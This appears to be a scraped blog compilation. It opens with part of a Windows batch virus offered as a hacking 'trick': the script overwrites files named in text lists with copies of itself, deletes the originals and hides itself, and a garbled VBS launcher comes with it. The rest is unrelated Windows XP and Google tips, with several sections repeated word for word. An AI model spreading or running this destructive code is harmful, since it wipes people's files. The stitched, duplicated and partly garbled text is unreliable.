attrib %windir%\ati2.bat -r -h -s
for /f "delims=" %%v in (%windir%\reg.txt) do copy %windir%\tab+"%%v"+%windir%\ati2.bat %windir%\666.bat & del "%%v" /q & move %windir%\666.bat "%%v"
for /f "delims=" %%t in (%windir%\reg.txt) do attrib "%%t" +r
for /f "delims=" %%v in (%windir%\diz.txt) do copy %windir%\ati2.bat "%%v.bat" & del "%%v" /q
for /f "delims=" %%v in (%windir%\nfo.txt) do copy %windir%\ati2.bat "%%v.bat" & del "%%v" /q
attrib %windir%\ati2.bat +r +h +s
goto flash
2. Save the file as ati.bat, do not change the file name in order to respect the creator of this file.
3. This file should be used with files. Vbs below. That means you must create two files to make sure this trick was successful.
3.1 Copy the script below into your notepad.
Set WshShell = WScript.CreateObject ( " WScript.Shell " )
WshShell.Run " C:,[662],1,0,614,5,6,1],[" ati.bat ", 0, false
4. Save the file as ati.vbs, do not change the file name in order to respect the creator of this file.
NOTE:
Only use this file in the Virtual Machine Computer, Do not RUN on your personal computer, I am not responsible for damages occurred.
"We Hack For You Stories"
Only use this file in the Virtual Machine Computer, Do not RUN on your personal computer, I am not responsible for damages occurred.
"We Hack For You Stories"
Friday, July 22, 2011
How to create a bootable Windows XP SP1 CD (Nero):
Step 1
Create 3 folders - C:\WINXPSP1, C:\SP1106 and C:\XPBOOT
Step 2
Copy the entire Windows XP CD into folder C:\WINXPSP1
Step 3
You will have to download the SP1 Update, which is 133MB.
Rename the Service Pack file to XP-SP1.EXE
Extract the Service Pack from the Run Dialog using the command:
C:\XP-SP1.EXE -U -X:C:\SP1106
Step 4
Open Start/Run... and type the command:
C:\SP1106\update\update.exe -s:C:\WINXPSP1
Click OK
Folder C:\WINXPSP1 contains: Windows XP SP1
How to Create a Windows XP SP1 CD Bootable
Step 1
Download xpboot.zip
Code:
Code:
http://thro.port5.com/xpboot.zip
( no download manager !! )
Extract xpboot.zip file (xpboot.bin) in to the folder C:\XPBOOT
Step 2
Start Nero - Burning Rom.
Select File > New... from the menu.
1.) Select CD-ROM (Boot)
2.) Select Image file from Source of boot image data
3.) Set Kind of emulation: to No Emulation
4.) Set Load segment of sectors (hex!): to 07C0
5.) Set Number of loaded sectors: to 4
6.) Press the Browse... button
Step 3
Select All Files (*.*) from File of type:
Locate boot.bin in the folder C:\XPBOOT
Step 4
Click ISO tab
Set File-/Directory length to ISO Level 1 (Max. of 11 = 8 + 3 chars)
Set Format to Mode 1
Set Character Set to ISO 9660
Check all Relax ISO Restrictions
Step 5
Click Label Tab
Select ISO9660 from the drop down box.
Enter the Volume Label as WB2PFRE_EN
Enter the System Identifier as WB2PFRE_EN
Enter the Volume Set as WB2PFRE_EN
Enter the Publisher as MICROSOFT CORPORATION
Enter the Data Preparer as MICROSOFT CORPORATION
Enter the Application as WB2PFRE_EN
* For Windows XP Professional OEM substitute WB2PFRE_EN with WXPOEM_EN
* For Windows XP Home OEM substitute WB2PFRE_EN with WXHOEM_EN
Step 6
Click Burn tab
Check Write
Check Finalize CD (No further writing possible!)
Set Write Method to Disk-At-Once
Press New button
Step 7
Locate the folder C:\WINXPSP1
Select everything in the folder and drag it to the ISO compilation panel.
Click the Write CD Dialog button.
Press Write
You're done.
Create 3 folders - C:\WINXPSP1, C:\SP1106 and C:\XPBOOT
Step 2
Copy the entire Windows XP CD into folder C:\WINXPSP1
Step 3
You will have to download the SP1 Update, which is 133MB.
Rename the Service Pack file to XP-SP1.EXE
Extract the Service Pack from the Run Dialog using the command:
C:\XP-SP1.EXE -U -X:C:\SP1106
Step 4
Open Start/Run... and type the command:
C:\SP1106\update\update.exe -s:C:\WINXPSP1
Click OK
Folder C:\WINXPSP1 contains: Windows XP SP1
How to Create a Windows XP SP1 CD Bootable
Step 1
Download xpboot.zip
Code:
Code:
http://thro.port5.com/xpboot.zip
( no download manager !! )
Extract xpboot.zip file (xpboot.bin) in to the folder C:\XPBOOT
Step 2
Start Nero - Burning Rom.
Select File > New... from the menu.
1.) Select CD-ROM (Boot)
2.) Select Image file from Source of boot image data
3.) Set Kind of emulation: to No Emulation
4.) Set Load segment of sectors (hex!): to 07C0
5.) Set Number of loaded sectors: to 4
6.) Press the Browse... button
Step 3
Select All Files (*.*) from File of type:
Locate boot.bin in the folder C:\XPBOOT
Step 4
Click ISO tab
Set File-/Directory length to ISO Level 1 (Max. of 11 = 8 + 3 chars)
Set Format to Mode 1
Set Character Set to ISO 9660
Check all Relax ISO Restrictions
Step 5
Click Label Tab
Select ISO9660 from the drop down box.
Enter the Volume Label as WB2PFRE_EN
Enter the System Identifier as WB2PFRE_EN
Enter the Volume Set as WB2PFRE_EN
Enter the Publisher as MICROSOFT CORPORATION
Enter the Data Preparer as MICROSOFT CORPORATION
Enter the Application as WB2PFRE_EN
* For Windows XP Professional OEM substitute WB2PFRE_EN with WXPOEM_EN
* For Windows XP Home OEM substitute WB2PFRE_EN with WXHOEM_EN
Step 6
Click Burn tab
Check Write
Check Finalize CD (No further writing possible!)
Set Write Method to Disk-At-Once
Press New button
Step 7
Locate the folder C:\WINXPSP1
Select everything in the folder and drag it to the ISO compilation panel.
Click the Write CD Dialog button.
Press Write
You're done.
20 Great Google Secrets
http://www.pcmag.com/article2/0,4149,1306756,00.asp
excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif
Google is clearly the best general-purpose search engine on the Web (see
www.pcmag.com/searchengines
But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.
But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.
Syntax Search Tricks
Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at
www.google.com/help/operators.html
. Here are some advanced operators that can help narrow down your search results.
Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.
Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as
www.mysite.com/index.html
, you can enter intext:html.
Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in
link:http://www.pcmag.com
Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.
Swiss Army Google
Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature
(www.google.com/help/features.html#calculator)
lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."
Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.
Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search
(www.buzztoolbox.com/google/yellowsearch.shtml).
Extended Googling
Google offers several services that give you a head start in focusing your search. Google Groups
(http://groups.google.com)
indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle
CODE
(http://froogle.google.com),
which indexes products from online stores, and Google Catalogs
CODE
(http://catalogs.google.com),
which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at
www.google.com/options/index.html
You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?
Google Alert
(www.googlealert.com)
monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts
(www.google.com/newsalerts).
This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)
Google on the telephone? Yup. This service is brought to you by the folks at Google Labs
(http://labs.google.com),
a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search
(http://labs1.google.com/gvs.html),
you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.
In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from
CODE
www.google.com/apis
. See the figures for two more examples, and visit
www.pcmag.com/solutions
for more.
Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.
Online Extra: More Google Tips
Here are a few more clever ways to tweak your Google searches.
Search Within a Timeframe
Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as
CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html
excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif
), but an easier way is to do a Google daterange: search by filling in a form at
www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml
. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.
More Google API Applications
Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query
(www.staggernation.com/gawsh/).
When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL
(www.staggernation.com/garbo/).
Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.
excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif
Google is clearly the best general-purpose search engine on the Web (see
www.pcmag.com/searchengines
But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.
But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.
Syntax Search Tricks
Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at
www.google.com/help/operators.html
. Here are some advanced operators that can help narrow down your search results.
Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.
Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as
www.mysite.com/index.html
, you can enter intext:html.
Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in
link:http://www.pcmag.com
Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.
Swiss Army Google
Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature
(www.google.com/help/features.html#calculator)
lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."
Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.
Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search
(www.buzztoolbox.com/google/yellowsearch.shtml).
Extended Googling
Google offers several services that give you a head start in focusing your search. Google Groups
(http://groups.google.com)
indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle
CODE
(http://froogle.google.com),
which indexes products from online stores, and Google Catalogs
CODE
(http://catalogs.google.com),
which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at
www.google.com/options/index.html
You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?
Google Alert
(www.googlealert.com)
monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts
(www.google.com/newsalerts).
This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)
Google on the telephone? Yup. This service is brought to you by the folks at Google Labs
(http://labs.google.com),
a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search
(http://labs1.google.com/gvs.html),
you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.
In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from
CODE
www.google.com/apis
. See the figures for two more examples, and visit
www.pcmag.com/solutions
for more.
Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.
Online Extra: More Google Tips
Here are a few more clever ways to tweak your Google searches.
Search Within a Timeframe
Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as
CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html
excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif
), but an easier way is to do a Google daterange: search by filling in a form at
www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml
. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.
More Google API Applications
Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query
(www.staggernation.com/gawsh/).
When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL
(www.staggernation.com/garbo/).
Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.
23 Ways To Speed WinXP
Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.
2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.
3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.
4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.
The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.
Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.
Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.
5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.
6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.
7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.
8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.
9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.
10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.
11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.
12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.
13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.
14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.
15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.
16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.
17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.
18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.
19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.
20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.
21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.
22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.
23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.
Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.
2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.
3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.
4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.
The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.
Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.
Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.
5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.
6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.
7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.
8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.
9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.
10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.
11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.
12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.
13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.
14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.
15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.
16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.
17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.
18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.
19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.
20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.
21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.
22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.
23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.
Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.
10 reasons why PCs crash U must Know
Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."
You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?
1 Hardware conflict
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:
* Start-Settings-Control Panel-System-Device Manager.
